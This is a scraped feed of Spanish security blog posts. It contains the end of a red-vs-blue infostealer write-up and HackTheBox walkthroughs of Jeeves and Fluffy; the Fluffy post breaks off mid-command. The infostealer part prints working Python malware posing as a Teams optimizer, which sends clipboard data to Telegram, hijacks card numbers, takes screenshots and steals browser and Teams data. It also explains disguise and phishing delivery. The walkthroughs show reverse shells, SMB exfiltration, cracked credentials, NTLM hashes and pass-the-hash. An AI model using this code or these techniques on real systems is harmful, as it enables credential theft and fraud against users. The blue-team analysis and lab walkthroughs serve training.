print(f\u0026#34;[+] Mensaje enviado: {message}\u0026#34;) else: print(f\u0026#34;[!] Error enviando mensaje: {r.text}\u0026#34;) # Función para monitorear el portapapeles def monitor_clipboard(): prev_content = None # Almacenará el contenido previo del portapapeles para comparar while True: clipboard_content = pyperclip.paste() # Verificar si el contenido ha cambiado if clipboard_content != prev_content: print(f\u0026#34;Nuevo contenido del portapapeles: {clipboard_content}\u0026#34;) send_message(f\u0026#34;Nuevo contenido copiado: {clipboard_content}\u0026#34;) # Enviar el contenido al bot de Telegram # Verificar si el contenido es un número de cuenta bancaria if re.match(r\u0026#39;\\d{4}-\\d{4}-\\d{4}-\\d{4}\u0026#39;, clipboard_content): print(f\u0026#34;¡Número de cuenta detectado! Reemplazando: {clipboard_content}\u0026#34;) # Cambiarlo por otro número new_clipboard_content = \u0026#39;1111-2222-3333-4444\u0026#39; pyperclip.copy(new_clipboard_content) print(f\u0026#34;Nuevo contenido del portapapeles: {new_clipboard_content}\u0026#34;) send_message(f\u0026#34;Se ha reemplazado un número de cuenta bancaria: {new_clipboard_content}\u0026#34;) prev_content = clipboard_content # Actualiza el contenido previo time.sleep(1) # Función para mostrar la pantalla de \u0026#34;optimización\u0026#34; def show_optimization_screen(): root = tk.Tk() root.title(\u0026#34;Microsoft Teams Optimizer\u0026#34;) root.geometry(\u0026#34;600x400\u0026#34;) root.resizable(False, False) root.configure(bg=\u0026#34;#f0f0f0\u0026#34;) # Centrar la ventana window_width = 600 window_height = 400 screen_width = root.winfo_screenwidth() screen_height = root.winfo_screenheight() x = (screen_width - window_width) // 2 y = (screen_height - window_height) // 2 root.geometry(f\u0026#34;{window_width}x{window_height}+{x}+{y}\u0026#34;) # Cabecera header = tk.Frame(root, bg=\u0026#34;#005a9e\u0026#34;, height=80) header.pack(fill=\u0026#34;x\u0026#34;) # Logo de Microsoft try: ms_logo = Image.open(\u0026#34;TeamsBoost1.ico\u0026#34;) ms_logo = ms_logo.resize((40, 40), Image.LANCZOS) ms_logo = ImageTk.PhotoImage(ms_logo) logo_label = tk.Label(header, image=TeamsBoost1, bg=\u0026#34;#005a9e\u0026#34;) logo_label.image = ms_logo logo_label.pack(side=\u0026#34;left\u0026#34;, padx=10, pady=10) except: pass title = tk.Label(header, text=\u0026#34;Microsoft Teams Optimizer\u0026#34;, font=(\u0026#34;Segoe UI\u0026#34;, 16, \u0026#34;bold\u0026#34;), fg=\u0026#34;white\u0026#34;, bg=\u0026#34;#800080\u0026#34;) title.pack(side=\u0026#34;left\u0026#34;, padx=10) # Contenido principal main_frame = tk.Frame(root, bg=\u0026#34;#f0f0f0\u0026#34;, padx=20, pady=20) main_frame.pack(fill=\u0026#34;both\u0026#34;, expand=True) # Mensaje de bienvenida welcome = tk.Label(main_frame, text=\u0026#34;Optimizando Microsoft Teams\u0026#34;, font=(\u0026#34;Segoe UI\u0026#34;, 14), bg=\u0026#34;#f0f0f0\u0026#34;) welcome.pack(pady=10) # Barra de progreso progress_label = tk.Label(main_frame, text=\u0026#34;Progreso:\u0026#34;, font=(\u0026#34;Segoe UI\u0026#34;, 10), bg=\u0026#34;#f0f0f0\u0026#34;) progress_label.pack(anchor=\u0026#34;w\u0026#34;, pady=(20, 5)) progress = ttk.Progressbar(main_frame, orient=\u0026#34;horizontal\u0026#34;, length=560, mode=\u0026#34;determinate\u0026#34;) progress.pack(pady=5) # Lista de tareas simuladas tasks_frame = tk.Frame(main_frame, bg=\u0026#34;#f0f0f0\u0026#34;) tasks_frame.pack(fill=\u0026#34;x\u0026#34;, pady=20) task_labels = [ \u0026#34;Analizando configuración actual...\u0026#34;, \u0026#34;Optimizando recursos de memoria...\u0026#34;, \u0026#34;Mejorando rendimiento de videollamadas...\u0026#34;, \u0026#34;Actualizando componentes esenciales...\u0026#34;, \u0026#34;Aplicando configuraciones de rendimiento...\u0026#34;, \u0026#34;Limpiando caché temporal...\u0026#34;, \u0026#34;Verificando integridad de archivos...\u0026#34; ] status_vars = [] for i, task in enumerate(task_labels): frame = tk.Frame(tasks_frame, bg=\u0026#34;#f0f0f0\u0026#34;) frame.pack(fill=\u0026#34;x\u0026#34;, pady=2) status = tk.Label(frame, text=\u0026#34;⏳\u0026#34;, font=(\u0026#34;Segoe UI\u0026#34;, 10), bg=\u0026#34;#f0f0f0\u0026#34;) status.pack(side=\u0026#34;left\u0026#34;, padx=(0, 10)) task_text = tk.Label(frame, text=task, font=(\u0026#34;Segoe UI\u0026#34;, 9), bg=\u0026#34;#f0f0f0\u0026#34;) task_text.pack(side=\u0026#34;left\u0026#34;) status_vars.append(status) # Pie de página footer = tk.Label(root, text=\u0026#34;© 2026 Microsoft Corporation\u0026#34;, font=(\u0026#34;Segoe UI\u0026#34;, 8), fg=\u0026#34;#666666\u0026#34;, bg=\u0026#34;#f0f0f0\u0026#34;) footer.pack(side=\u0026#34;bottom\u0026#34;, pady=10) # Función para simular progreso def simulate_progress(): # Simular progreso durante 30 segundos for i in range(1, 101): progress[\u0026#34;value\u0026#34;] = i root.update() # Actualizar tareas aleatoriamente if i % 15 == 0: idx = random.randint(0, len(status_vars)-1) status_vars[idx].config(text=\u0026#34;✅\u0026#34;) time.sleep(0.1) # Mostrar mensaje final messagebox.showinfo(\u0026#34;Optimización Completada\u0026#34;, \u0026#34;Microsoft Teams ha sido optimizado exitosamente.\\n\\n\u0026#34; + \u0026#34;Recomendamos reiniciar Teams para aplicar todos los cambios.\u0026#34;) root.quit() # Iniciar la simulación en un hilo separado threading.Thread(target=simulate_progress, daemon=True).start() root.mainloop() # ——— Main —————————————————————————————————————————————————————— if __name__ == \u0026#34;__main__\u0026#34;: if platform.system() != \u0026#34;Windows\u0026#34;: print(\u0026#34;[!] Solo Windows soportado\u0026#34;); sys.exit(1) if not is_admin(): ctypes.windll.shell32.ShellExecuteW(None, \u0026#34;runas\u0026#34;, sys.executable, \u0026#34; \u0026#34;.join(sys.argv), None, 1) sys.exit(0) # Mostrar pantalla de optimización show_optimization_screen() b vvvvv # Ocultar la consola #hide() # Iniciar los hilos clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True) clipboard_thread.start() start_screenshot_thread() # Ejecutar las tareas de robo de datos extract_teams_chats() browser_stealer(\u0026#34;Google\\\\Chrome\u0026#34;) browser_stealer(\u0026#34;Microsoft\\\\Edge\u0026#34;) # Mantener programa vivo para capturas periódicas while True: time.sleep(60) Utilicé PyInstaller para compilar todo el proyecto en un único archivo ejecutable (.exe). Esto no solo facilita la ejecución en sistemas que no tienen Python instalado, sino que también permite ocultar las dependencias.\nPara que el ataque fuera efectivo, utilicé el parámetro --add-data para incrustar el binario ms_teams_parser.exe dentro del paquete. De este modo, cuando el usuario ejecuta el \u0026ldquo;Optimizador\u0026rdquo;, el parser se extrae y se ejecuta en una carpeta temporal sin que la víctima note nada.\nUn ejecutable con el icono por defecto de Windows es sospechoso. Por eso, integré un icono de alta resolución de Microsoft Teams y añadí metadatos al archivo (versión, desarrollador, descripción) para que, al pasar el ratón por encima o verlo en el Administrador de Tareas, pareciera un componente legítimo de Microsoft.\nCon el binario listo, el siguiente paso fue el despliegue. Subí el proyecto a un repositorio de GitHub con un nombre convincente.\nDesde aquí, el ataque de ingeniería social está servido: un simple correo de phishing informando sobre una \u0026ldquo;actualización crítica de rendimiento para el teletrabajo\u0026rdquo; con el enlace al repositorio sería suficiente para comprometer a un usuario desprevenido.\nBlue Team (Khaled El Modden) Si el Red Team vive de ocultar, engañar y exfiltrar, el Blue Team existe para lo contrario: observar, correlacionar y desmontar. En este reto, mi papel no es ejecutar el binario ni “ver qué pasa”, sino entender exactamente por qué pasa y cómo detenerlo antes de que el impacto sea real.\nComo Blue Team, mi enfoque parte de una premisa clara: todo malware deja rastro. No importa lo bien disfrazado que esté el ejecutable, lo pulida que sea la GUI o lo legítimo que parezca el tráfico de red. Siempre hay artefactos: en memoria, en disco, en procesos, en llamadas al sistema o en el comportamiento del usuario que algo rompe.\nFase 0: Preparación del entorno Para evitar contaminación y permitir una observación completa, trabajé en una máquina virtual con Windows 10 Pro, configurada para poder revertir su estado en cualquier momento. Esto es clave para mantener un entorno controlado y reproducible.\nFase 1: Reconocimiento inicial del binario Lo primero que hacemos es interrogar al archivo sin ejecutarlo. Al usar el comando file en nuestro entorno de análisis, confirmamos la naturaleza del objetivo:\nArchivo: TeamsBoost.exe Tipo: PE32+ executable (GUI) x86-64 ¿Qué significa esto? Que estamos ante un binario de 64 bits diseñado para Windows con una interfaz gráfica. Esto ya nos da una pista: el atacante quiere que el usuario interactúe con una ventana para generar confianza.\nFase 2: Inmersión en el Análisis Estático (Ghidra) Para mirar bajo el capó, cargamos el binario en Ghidra. El análisis estático nos permite leer el código \u0026ldquo;muerto\u0026rdquo; antes de que tenga oportunidad de hacernos daño.\nUna vez cargado iremos directamente a los strings para ver si podemos rescatar alguna pista. Lo que podemos observar es que no se trata de un ejecutable .exe nativo sino que se trata de un programa en python(.py) convertido a un .exe. Os preguntareis como llego a esta conclusión: Sencillo, los strings:\nTemos una lista de cadenas que incluyen PYINSTALLER_STRICT_UNPACK_MODE, pyinstaller_pyz y rutas que apuntan a librerías de Python.\nEl malware no ha sido escrito en C puro, sino en Python y luego empaquetado con PyInstaller. Esto es una técnica común para acelerar el desarrollo de malware, permitiendo al atacante usar librerías potentes de forma sencilla.\nLlamadas a la API de Windows\nSabiendo esto ya podría cambiar de entorno y utilizar el toolkit de python para descompilar y ver como funciona exactamente el código, pero como estamos en proceso de aprendizaje buscamos más pistas y damos con una buena: ¿Cómo actúa PyInstaller?\nEstos strings parecen curiosos así que vamos a ver el contexto.\nObservamos llamadas críticas como CreateProcessW y referencias a ventanas ocultas (PyInstallerOnefileHiddenWindow).\nPor qué es relevante: Esto nos indica que el ejecutable principal actuará como un \u0026ldquo;loader\u0026rdquo;, lanzando otros procesos de forma silenciosa para que el usuario no sospeche que hay actividad en segundo plano. Fase 3: Desempaquetado y Extracción de Artefactos Sabiendo que es un paquete de PyInstaller, nuestro siguiente paso es extraer el código original. Utilizamos la herramienta pyinstxtractor.py.\nAl ejecutarla, la consola nos muestra un volcado de archivos (más de 1.000 elementos). Entre el ruido de las librerías estándar de Python, localizamos el botín: un archivo llamado INFOSTEALER_V9.PYC. Este archivo es el bytecode compilado. No es texto plano todavía, pero es mucho más cercano a la lógica del atacante que el binario original.\nNos creara la carpeta : TeamsBoost.exe_extracted\nFase 4: Reversado del Bytecode (La Lógica del Atacante) Para leer el archivo .pyc, utilizamos pycdc (C++ Python Bytecode Disassembler). Aquí el análisis se vuelve crítico, ya que la captura de pantalla del código revela las \u0026ldquo;tripas\u0026rdquo; de la operación:\npycdc/pycdas infostealer_v9.pyc \u0026gt; infostealer_v9.asm Canal de Exfiltración (C2): En la imagen del código vemos claramente las variables: token = \u0026quot;7418172573:AAGT5vS...\u0026quot;* chat_id = \u0026quot;1014913217\u0026quot; Análisis: El malware usa la API de Telegram para enviar los datos robados. Es una táctica inteligente porque el tráfico hacia Telegram suele ser visto como legítimo por muchos firewalls. Módulos de Robo: El código muestra funciones como find_teams_db y periodic_screenshots. Análisis: El malware busca específicamente bases de datos de Microsoft Teams (donde se guardan tokens de sesión y mensajes) y toma capturas de pantalla de la víctima cada cierto tiempo. El \u0026ldquo;Clipboard Hijacker\u0026rdquo; (Secuestro de Portapapeles): Una de las funciones más impactantes muestra una expresión regular (regex): \\d{4}-\\d{4}-\\d{4}-\\d{4}. Análisis: El programa monitoriza el portapapeles. Si detecta que el usuario copia algo que parece un número de tarjeta de crédito, el malware lo sustituye por una cuenta controlada por el atacante (1111-2222-3333-4444). Si el usuario va a hacer una transferencia o pago, terminará enviando el dinero al atacante sin darse cuenta. Fase 5: Análisis Dinámico (Comprobación en Vivo) Finalmente, \u0026ldquo;apretamos el gatillo\u0026rdquo; y ejecutamos el malware para observar su comportamiento.\nAntes de nada con estas herramientas inicializadas podremos analizar el comportamiento del malware, solo nos falta ejecutarlo.\nIngeniería Social\nAl ejecutar TeamsBoost.exe, aparece una ventana titulada \u0026ldquo;Microsoft Teams Optimizer\u0026rdquo;.\nSe ve una barra de progreso verde avanzando lentamente. Es un engaño visual perfecto para mantener al usuario distraído mientras, en segundo plano, el script de Python está escaneando el disco y enviando datos. (Bonita interfaz Ismael :P)\nTráfico de Red (Wireshark)\nAbrimos Wireshark para interceptar las comunicaciones. Vemos paquetes dirigidos a la IP 149.154.167.220 (servidores de Telegram) con el mensaje TLSv1.3 Client Hello (SNI: api.telegram.org).\nEl malware está efectivamente enviando la información recolectada a través del bot de Telegram que identificamos en la fase anterior.\nMonitoreo de Procesos\nCon Process Monitor, filtramos la actividad. Observamos que en el momento exacto en que copiamos un texto, el proceso malicioso realiza operaciones de lectura/escritura en memoria para modificar el portapapeles. (Fijaros en las horas)\nFase 6: Patching y Simulación de Ataque Para cerrar el análisis con broche de oro, decidí realizar una técnica de Patching.\n¿Qué es el Patching?\nA nivel técnico, el patching consiste en modificar directamente el código o los datos de un binario ya compilado. En lugar de intentar programar el malware desde cero, alteramos el original para que obedezca nuestras órdenes. Es como cambiar el destinatario de una carta después de que ya ha sido escrita.\nEjecución del Patch\nEn este caso, el objetivo era simple pero potente: redirigir el botín.\nCreamos nuestro propio Bot de Telegram y obtenemos un nuevo token y chat_id. Localizamos en el código extraído (o mediante un editor hexadecimal como ImHex) las cadenas de texto originales del atacante. Sustitución: Reemplazamos los valores del atacante por los nuestros. Al ejecutar nuestro binario \u0026ldquo;parcheado\u0026rdquo;, la víctima (en nuestro entorno de pruebas) sigue viendo la barra de progreso del optimizador de Teams. Sin embargo, en lugar de que la información viaje al servidor del criminal, viajara a nuestro bot. Con esto, no solo hemos analizado la amenaza, sino que hemos demostrado un control total sobre ella. El patching nos permite validar cada hallazgo y confirmar que, efectivamente, la exfiltración funciona exactamente como predijimos en el análisis estático.\nConclusión Este ejercicio demuestra que, por mucho que un malware intente ocultarse tras capas de empaquetado y fachadas legítimas, un análisis estructurado permite despojarlo de sus defensas y, finalmente, neutralizarlo o incluso volverlo en su contra.\n","permalink":"https://synacklabs.github.io/posts/infostealer/","tags":["Reversing","Ghidra","Malware","password"],"title":"El Juego del Gato y el Ratón: Crónica de un Infostealer (Red vs. Blue)"},{"categories":["Machine"],"content":"Resumen Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de Jenkins mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de Groovy. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de KeePass (.kdbx). Finalmente, el acceso a la flag de root presenta un reto que no había visto nunca: está oculta utilizando Alternate Data Streams (ADS) de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.\nEnumeración Comenzamos con un escaneo de puertos para identificar servicios expuestos.\nPORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: Ask Jeeves 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 50000/tcp open http syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Error 404 Not Found Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 5h00m03s, deviation: 0s, median: 5h00m02s | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 33742/tcp): CLEAN (Timeout) | Check 2 (port 23387/tcp): CLEAN (Timeout) | Check 3 (port 64279/udp): CLEAN (Timeout) | Check 4 (port 23548/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2026-01-20T20:14:36 |_ start_date: 2026-01-20T20:09:27 Tenemos dos puertos web principales:\nPuerto 80 (IIS): Muestra una página de búsqueda \u0026ldquo;Ask Jeeves\u0026rdquo; que da error al intentar buscar. Puerto 50000 (Jetty): Muestra un error 404 por defecto. Este error indica que hay un servidor web ejecutándose en tu puerto 50000, pero no hay ninguna página o contenido configurado en la raíz (/).\nRealizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.\nffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44:50000/FUZZ ---- NO ENCONTRAMOS NADA ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44/FUZZ ---- askjeeves [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 54ms] Acceso Inicial (Jenkins) Al acceder a http://10.129.79.44/askjeeves, encontramos un servidor de automatización Jenkins (versión 2.87).\nExplotación de Groovy Script Console No se requieren credenciales. Podemos acceder a Manage Jenkins -\u0026gt; Script Console. Esta consola permite ejecutar scripts en Groovy, lo cual equivale a ejecución de comandos en el sistema.\nProbamos una Reverse Shell en Groovy:\nConseguimos acceso como el usuario: jeeves\\kohsuke.\nEnumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.\nEnumerando el sistema de archivos de kohsuke, encontramos un archivo interesante en el directorio ‘Documents’:\nLa extensión .kdbx pertenece a KeePass, que es un gestor de contraseñas de código abierto.\nPost-Explotación y Movimiento Lateral Exfiltración con SMBServer Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.\nEn Kali (Atacante): sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share ... [*] User JEEVES\\kohsuke authenticated successfully [*] kohsuke::JEEVES:aaaaaaaaaaaaaaaa:7507b33e1ec7eb5636215c53f6838840:0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000 [*] Connecting Share(1:share) En Windows (Víctima): C:\\Users\\kohsuke\\Documents\u0026gt;copy CEH.kdbx \\\\10.10.15.44\\share\\ copy CEH.kdbx \\\\10.10.15.44\\share\\ 1 file(s) copied. Cracking KeePass Primero extraemos el hash del archivo .kdbx y luego lo crackeamos con John the Ripper.\njohn --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt Loaded 1 password hash (KeePass [SHA256 AES 32/64]) moonshine1 (CEH) Inspección de Credenciales (Kpcli) Usamos kpcli para abrir la base de datos con la contraseña obtenida.\nPodemos ver las credenciales.\nSi las copiamos las tenemos en el copiapapeles.\nkpcli:/CEH\u0026gt; show 0 Title: Backup stuff Uname: ? Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 URL: Notes: kpcli:/CEH\u0026gt; show -p 4 Unknown option: p Title: It\u0026#39;s a secret Uname: admin Pass: F7WhTrSFDKB6sxHU1cUn URL: http://localhost:8180/secret.jsp Notes: Title: Keys to the kingdom Uname: bob Pass: lCEUnYPjNfIuPZSzOySA URL: Notes: Escalada de Privilegios (Pass The Hash) El hash encontrado en \u0026ldquo;Backup stuff\u0026rdquo; es un hash NTLM. Podemos usar la técnica Pass The Hash (PtH) para autenticarnos como Administrador sin saber la contraseña en texto claro.\n¡Éxito! Obtenemos una shell como nt authority\\system.\nPues parece que no hemos acabado …\nEl \u0026ldquo;Rabbit Hole\u0026rdquo; de la Root Flag (ADS) Al ir al directorio del Administrador (C:\\Users\\Administrator\\Desktop), encontramos un archivo hm.txt pero no está la flag root.txt.\nAl leer hm.txt, nos da una pista sobre \u0026ldquo;mirar más profundo\u0026rdquo;. Esto hace referencia a los Alternate Data Streams (ADS) de NTFS.\nConcepto: ADS\nEn NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.\n¿Cómo funcionan los ADS? En un sistema NTFS, un archivo se identifica por el formato nombre_archivo:nombre_stream.\nFlujo estándar: Cuando abres archivo.txt, en realidad estás abriendo archivo.txt:$DATA. Flujo alternativo: Puedes crear algo como archivo.txt:secreto.txt. Leer el contenido del flujo oculto No se puede usar type directamente sobre el stream. usamos el comando more :\nmore \u0026lt; hm.txt:root.txt\nAhora si conseguimos la root flag!\n","permalink":"https://synacklabs.github.io/posts/jeeves/","tags":["Windows","Password Cracking","Jenkins"],"title":"Jeeves (Medium)"},{"categories":["Machine"],"content":"Resumen Esta máquina es un Domain Controller de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso CVE-2025-24071 para forzar una autenticación SMB y capturar un hash NTLMv2. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos GenericWrite, realizo Shadow Credentials con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de AD CS identificada como ESC16 para impersonar a Administrator.\nCredenciales iniciales Credenciales dadas: j.fleischman:J0elTHEM4n1990!\nEscaneo 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-19 23:10:55Z) 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-01-19T23:12:24+00:00; +7h00m03s from scanner time. | ssl-cert: Subject: commonName=DC01.fluffy.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:DC01.fluffy.htb | Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-04-17T16:04:17 | Not valid after: 2026-04-17T16:04:17 | -----BEGIN CERTIFICATE----- | MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF | ... |_-----END CERTIFICATE----- 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-01-19T23:12:25+00:00; +7h00m03s from scanner time. | ssl-cert: Subject: commonName=DC01.fluffy.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:DC01.fluffy.htb | Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-04-17T16:04:17 | Not valid after: 2026-04-17T16:04:17 | -----BEGIN CERTIFICATE----- | MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF | ... |_-----END CERTIFICATE----- 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name) 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name) 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49699/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49723/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Enumeración SMB Confirmo que es una máquina de AD y tiro por SMB.\n┌──(root㉿kali)-[/home/…/Desktop/HTB/Fluffy/loot] └─# nxc smb 10.129.78.23 -u j.fleischman -p \u0026#39;J0elTHEM4n1990!\u0026#39; --shares SMB 10.129.78.23 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False) SMB 10.129.78.23 445 DC01 [+] fluffy.htb\\j.fleischman:J0elTHEM4n1990! SMB 10.129.78.23 445 DC01 [*] Enumerated shares SMB 10.129.78.23 445 DC01 Share Permissions Remark SMB 10.129.78.23 445 DC01 ----- ----------- ------ SMB 10.129.78.23 445 DC01 ADMIN$ Remote Admin SMB 10.129.78.23 445 DC01 C$ Default share SMB 10.129.78.23 445 DC01 IPC$ READ Remote IPC SMB 10.129.78.23 445 DC01 IT READ,WRITE SMB 10.129.78.23 445 DC01 NETLOGON READ Logon server share SMB 10.129.78.23 445 DC01 SYSVOL READ Logon server share Veo que el share IT tiene permisos de escritura, así que entro a mirar contenido:\nsmbclient \u0026#39;//10.129.78.23/IT\u0026#39; -U fluffy.htb/j.fleischman%J0elTHEM4n1990! Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; DIR . D 0 Tue Jan 20 00:12:04 2026 .. D 0 Tue Jan 20 00:12:04 2026 Everything-1.4.1.1026.x64 D 0 Fri Apr 18 17:08:44 2025 Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 17:04:05 2025 KeePass-2.58 D 0 Fri Apr 18 17:08:38 2025 KeePass-2.58.zip A 3225346 Fri Apr 18 17:03:17 2025 Upgrade_Notice.pdf A 169963 Sat May 17 16:31:07 2025 5842943 blocks of size 4096. 1530895 blocks available PDF con CVEs En el share aparece un PDF con vulnerabilidades. Me lo descargo y veo lo siguiente:\nCVE ID CVE-2025-24996--Critical CVE-2025-24071--Critical CVE-2025-46785--High CVE-2025-29968--High CVE-2025-21193--Medium CVE-2025-3445--Low La que más me interesa aquí es CVE-2025-24071:\nWindows Explorer automatically initiates an SMB authentication request when a .library-ms file is extracted from a ZIP archive. This causes NTLM credentials (in hashed format) to be leaked to a remote SMB server controlled by the attacker. No user interaction is required beyond extraction. Uso este exploit:\nhttps://www.exploit-db.com/exploits/52310\nCaptura de hash NTLMv2 con Responder Genero el ZIP malicioso y lo subo al share IT (tengo escritura). En paralelo levanto Responder para capturar la autenticación.\nsmbclient \u0026#39;//10.129.78.23/IT\u0026#39; -U fluffy.htb/j.fleischman%J0elTHEM4n1990! Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; put malicious.zip putting file malicious.zip as \\malicious.zip (2.0 kb/s) (average 2.0 kb/s) Espero unos segundos y recibo el hash:\n[SMB] NTLMv2-SSP Client : 10.129.78.23 [SMB] NTLMv2-SSP Username : FLUFFY\\p.agila [SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:f74081931ace9d2a:B7AE54D953F98A9BAA7AF1FFA9A66B7E:0101000000000000802CFE656989DC01C70A4C638403E30B0000000002000800370039005800330001001E00570049004E002D003200500045004D0043004A00420048004F003600570004003400570049004E002D003200500045004D0043004A00420048004F00360057002E0037003900580033002E004C004F00430041004C000300140037003900580033002E004C004F00430041004C000500140037003900580033002E004C004F00430041004C0007000800802CFE656989DC01060004000200000008003000300000000000000001000000002000009A1D51B76B59C74DF9A070F2C83658F60E9885997FEED0398370D04783BA2D0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00340034000000000000000000 Crackeo con hashcat (modo -m 5600) y obtengo la contraseña:\nP.AGILA::FLUFFY:f74081931ace9d2a:b7ae54d953f98a9baa7af1ffa9a66b7e:0101000000000000802cfe656989dc01c70a4c638403e30b0000000002000800370039005800330001001e00570049004e002d003200500045004d0043004a00420048004f003600570004003400570049004e002d003200500045004d0043004a00420048004f00360057002e0037003900580033002e004c004f00430041004c000300140037003900580033002e004c004f00430041004c000500140037003900580033002e004c004f00430041004c0007000800802cfe656989dc01060004000200000008003000300000000000000001000000002000009a1d51b76b59c74df9a070f2c83658f60e9885997feed0398370d04783ba2d0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00340034000000000000000000:prometheusx-303 p.agila:prometheusx-303\nBloodHound: path de escalada No encuentro demasiado enumerando directamente con este usuario, así que tiro de rusthound-ce y analizo con BloodHound.\nrusthound-ce -u p.agila -p \u0026#39;prometheusx-303\u0026#39; --domain fluffy.htb Veo un camino claro hacia ca_svc (miembro de cert publisher) desde p.agila.\nAprovecho permisos para añadir p.agila al grupo service accounts:\nbloodyAD -u \u0026#39;p.agila\u0026#39; -p \u0026#39;prometheusx-303\u0026#39; -d fluffy.htb --host 10.129.78.23 add groupMember \u0026#39;service accounts\u0026#39; p.agila Kerberoasting dirigido (targetedKerberoast) Ahora uso targetedKerberoast.py para extraer hashes. Antes sincronizo reloj.\n┌──(root㉿kali)-[/home/…/Desktop/HTB/Fluffy/loot] └─# ntpdate fluffy.htb \u0026amp;\u0026amp; targetedKerberoast.py -v -d \u0026#39;fluffy.htb\u0026#39; -u \u0026#39;p.agila\u0026#39; -p \u0026#39;prometheusx-303\u0026#39; 2026-01-20 00:56:56.676545 